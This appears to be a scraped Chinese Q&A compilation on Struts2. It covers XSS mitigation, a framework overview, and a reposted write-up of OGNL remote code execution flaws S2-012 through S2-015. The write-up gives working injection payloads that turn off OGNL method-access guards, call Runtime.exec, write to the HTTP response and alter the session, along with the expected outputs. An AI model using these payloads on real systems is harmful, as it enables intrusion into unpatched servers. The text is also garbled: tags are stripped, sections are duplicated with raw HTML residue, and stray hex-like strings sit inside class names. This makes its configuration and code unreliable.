本文目录一览:
- 1、Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??
- 2、关于struts 2为什么会有代码执行漏洞的小帖子
- 3、struts2解决了什么问题
- 4、struts2 有没有jar包能防止xss攻击
Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??
没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以
关于struts 2为什么会有代码执行漏洞的小帖子
Struts结构
把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。
struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理
filter
filter-namestruts2/filter-name
filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class
/filter
filter-mapping
filter-namestruts2/filter-name
url-pattern/*/url-pattern
/filter-mapping
关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。
result type="redirectAction"的作用是捕获到该action重定向到其他页面。
最后include了另外一个XML
package name="default" namespace="/" extends="struts-default"
default-action-ref name="index" /
global-results
result name="error"/error.jsp/result
/global-results
global-exception-mappings
exception-mapping exception="java.lang.Exception" result="error"/
/global-exception-mappings
action name="index"
result type="redirectAction"
param name="actionName"HelloWorld/param
param name="namespace"/example/param
/result
/action
/package
include file="example.xml"/
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。
package name="example" namespace="/example" extends="default"
action name="HelloWorld" class="70e1-25d7-4dff-089c example.HelloWorld"
result/example/HelloWorld.jsp/result
/action
action name="Login_*" method="{1}" class="25d7-4dff-089c-9294 example.Login"
result name="input"/example/Login.jsp/result
result type="redirectAction"Menu/result
/action
action name="*" class="4dff-089c-9294-f9dc example.ExampleSupport"
result/example/{1}.jsp/result
/action
!-- Add actions here --
/package
OGNL语法
struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面
Struts近期漏洞
漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
S2-015
官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
action name="*" class="089c-9294-f9dc-e134 example.ExampleSupport"
result/example/{1}.jsp/result
/action
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found
详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
S2-014
官方描述
A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
s:url id="url" action="HelloWorld" includeParams="all"
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
li
s:url id="url" action="HelloWorld" includeParams="all"
s:param name="request_locale"en/s:param
/s:url
s:a href="%{url}"English/s:a
/li
POC
执行代码
{%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
{%23session[%22hacked%22]='true'}
不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7
S2-013
官方描述
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
触发条件
这个洞和S2-014原理相同,因为官方没修不好而报了两次。
POC
这个可以成功执行
(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
S2-012
官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
action name="save" class="6081-eb0d-0b37-4299 org.apache.struts2.showcase.action.SkillAction" method="save"
result type="redirect"edit.action?skillName=${currentSkill.name}/result
/action
POC
PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE
PRE/PRE
H3A name=t8/AS2-011/H3
DIV官方描述,DOS和我关系不大/DIV
DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR
H3A name=t9/AS2-010/H3
/DIV
DIV官方描述/DIV
DIV这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。/DIV
DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR
BR
/DIV
BR
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
S2-011
官方描述,DOS和我关系不大
Long request parameter names might significantly promote the effectiveness of DOS attacks
S2-010
官方描述
这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。
div class="eb0d-0b37-4299-93cc dp-highlighter bg_html"
When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes
struts2解决了什么问题
Struts框架主要解决的问题是对MVC设计模式进行了封装。使其可以方便的使用。
Struts 2是Struts的下一代产品。是在 struts 和WebWork的技术基础上进行了合并,全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。因为Struts 2和Struts 1有着太大的变化,但是相对于WebWork,Struts 2只有很小的变化。
Struts2的体系与Struts1体系的差别非常大,因为Struts2使用了WebWork的设计核心,而不是Struts1的设计核心。Struts2中大量使用拦截器来处理用户的请求,从而允许用户的业务逻辑控制器与Servlet API分离。浏览器发送一个请求。核心控制器FilterDispatcher根据请求决定调用合适的Action。WebWork的拦截器链自动对请求应用通用功能,如验证等。回调Action的execute方法,该execute方法根据请求的参数来执行一定的操作。Action的execute方法处理结果信息将被输出到浏览器中,支持多种形式的视图。
在Action的实现方面:Struts1要求必须统一扩展自Action类,而Struts2中可以是一个普通的POJO。线程模型方面:Struts1的Action工作在单例模式,一个Action的实例处理所有的请求。Struts2的Action是一个请求对应一个实例。没有线程安全方面的问题。Servlet依赖方面:Struts1的Action依赖于Servlet API,比如Action的execute方法的参数就包括request和response对象。这使程序难于测试。Struts2中的Action不再依赖于Servlet API,有利于测试,并且实现TDD。封装请求参数:Struts1中强制使用ActionForm对象封装请求的参数。Struts2可以选择使用POJO类来封装请求的参数,或者直接使用Action的属性。表达式语言方面:Struts1中整合了EL,但是EL对集合和索引的支持不强,Struts2整合了OGNL(Object Graph Notation Language)。绑定值到视图技术:Struts1使用标准的JSP,Struts2使用“ValueStack”技术。类型转换:Struts1中的ActionForm基本使用String类型的属性。Struts2中使用OGNL进行转换,可以更方便的使用。数据校验:Struts1中支持覆盖validate方法或者使用Validator框架。Struts2支持重写validate方法或者使用XWork的验证框架。Action执行控制的对比:Struts1支持每一个模块对应一个请求处理,但是模块中的所有Action必须共享相同的声明周期。Struts2支持通过拦截器堆栈为每一个Action创建不同的声明周期。
从某种程度上看,Struts2是从WebWork2上升级得到的。甚至Apache的官方文档也讲:WebWork2到Struts2是平滑的过渡。我们甚至也可以说Struts2就是WebWork2.3而已。在很多方面Struts仅仅是改变了WebWork下的名称。
struts2 有没有jar包能防止xss攻击
配置struts.xml
package name="default" namespace="/"
extends="struts-default, json-default"
!-- 配置拦截器 --
interceptors
!-- 定义xss拦截器 --
interceptor name="xssInterceptor" class="0b37-4299-93cc-af52 ...此处填写拦截器类名"/interceptor
!-- 定义一个包含xss拦截的拦截栈 --
interceptor-stack name="myDefault"
interceptor-ref name="xssInterceptor"/interceptor-ref
interceptor-ref name="defaultStack"/interceptor-ref
/interceptor-stack
/interceptors
!-- 这个必须配置,否则拦截器不生效 --
default-interceptor-ref name="myDefault"/default-interceptor-ref
action
...此处省略n个action
/action
/package